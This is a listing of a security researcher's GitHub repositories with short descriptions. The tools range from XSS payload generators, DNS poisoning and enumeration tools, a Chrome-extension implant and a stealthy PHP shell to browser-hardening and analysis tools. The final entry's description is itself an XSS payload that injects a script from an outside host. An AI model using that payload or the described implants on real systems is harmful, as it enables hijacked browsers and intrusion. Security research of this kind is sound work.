Matthew Bryant

xsshunter-express. An easy-to-setup version of XSS Hunter. Sets up in five minutes and requires no maintenance!

NorthKoreaDNSLeak. Snapshot of North Korea's DNS data taken from zone transfers.

CursedChrome. Chrome-extension implant that turns victim Chrome browsers into fully-functional HTTP proxies, allowing you to browse sites as your victims.

xsshunter. The XSS Hunter service - a portable version of XSSHunter.com

thermoptic. A next-generation HTTP stealth proxy which perfectly cloaks requests as the Chrome browser across all layers of the stack.

sonar.js. A framework for identifying and launching exploits against internal network hosts. Works via WebRTC IP enumeration combined with WebSockets and external resource fingerprinting.

cloudflare_enum. Cloudflare DNS Enumeration Tool for Pentesters

JudasDNS. Nameserver DNS poisoning attacks made easy

TLDR. TLDR (TLD Records) is a continually updated DNS archive of zone transfer attempts again all existing TLD nameservers as well as the root servers.

TrustTrees. A Tool for DNS Delegation Trust Graphing

xssless. An automated XSS payload generator written in python.

ChromeGalvanizer. Harden your Chrome browser via enterprise policy.

xsshunter_client. Correlated injection proxy tool for XSS Hunter

droidbrute. A statistically optimized USB rubber ducky payload to brute force 4-digit Android PINs.

RussiaDNSLeak. Summary and archives of leaked Russian TLD DNS data

tarnish. A Chrome extension static analysis tool to help aide in security reviews.

FlashHTTPRequest. A very simple bridge for performing Flash HTTP requests with JavaScript

chrome-extension-manifests-dataset. >100K Chrome Extension manifest.json files for analysis

xcname. A tool for enumerating expired domains in CNAME records

RAGE. A hacked together PHP shell designed to be stealthy and portable

signal-bot. A Signal bot that utilizes the Chrome DevTools protocol to hook the Signal Electron Desktop app for automation.

PaperChaser. JavaScript

VietnamDNSLeak. Summary and archives of leaked Vietnam TLD DNS data

comfortably-run. A CLI tool which can be used to inject JavaScript into arbitrary Chrome origins via the Chrome DevTools Protocol

PERS. A passive scanning tool for finding expired domain vulnerabilities while you browse.

Metafid-Base. The base classes that are used by Metafid (a private piece of software that generates web bot code from Fiddler archives)

UPBRUTE. Dynamic DNS Update Bruteforce Tool

xpire-crossdomain-scanner. Scans crossdomain.xml policies for expired domain names.

wmap. a mass web screenshot tool for mapping web networks.

overairdroid. A python library to automate the use of the Airdroid app for Android

lambda-intruder. An example of high-QPS requesting Burp Intruder style on AWS Lambda via self-invocation.

xsshunter_docs. XSS Hunter correlated injection API guide

TLD-Health-Report. Daily TLD health report generated using RIPE's DNSCheck against all existing TLDs.

xsshunter_chrome_extension. WHY?

dig-lambda-layer. A simple AWS Lambda layer to add dig support

FileURISecurity. Testing page for checking the privileges that a browser gives to the file:// origin

ctf_tools. Random CTF tool repo for small code snippets

theinternetbackup-cli. Contribute domains to TheInternetBackup.com via an easy CLI tool!

mandatoryprogrammer.

dotfiles. My dot files

subresource_integrity_rewrite. Rewrites flat HTML pages to include subresource integrity for all third party scripts/stylesheets

elasticbeanstalk-base. Base Elastic Beanstalk config which uses Docker and an environment variable EC2_SPOT_PRICE for spot bidding

CSP-Bypass. A Burp Plugin for Detecting Weaknesses in Content Security Policies

slack-bot-api. Simple way to control your Slack Bot

testrepo. test

stargate. SOCKS for your subnet

BARTHue. Control Hue Lights Based on the BART Schedule

Trapcall2Spreadsheet. Exports your logged Trapcalls to a CSV spreadsheet

mygithubpage.

cordova-replay. Experimental plugin to enable use of the ReplayKit iOS framework

redis. Docker Official Image packaging for Redis

teamflix-reports. A place to report bugs and feature requests for teamflix

testing. "><script src=//y.vg></script>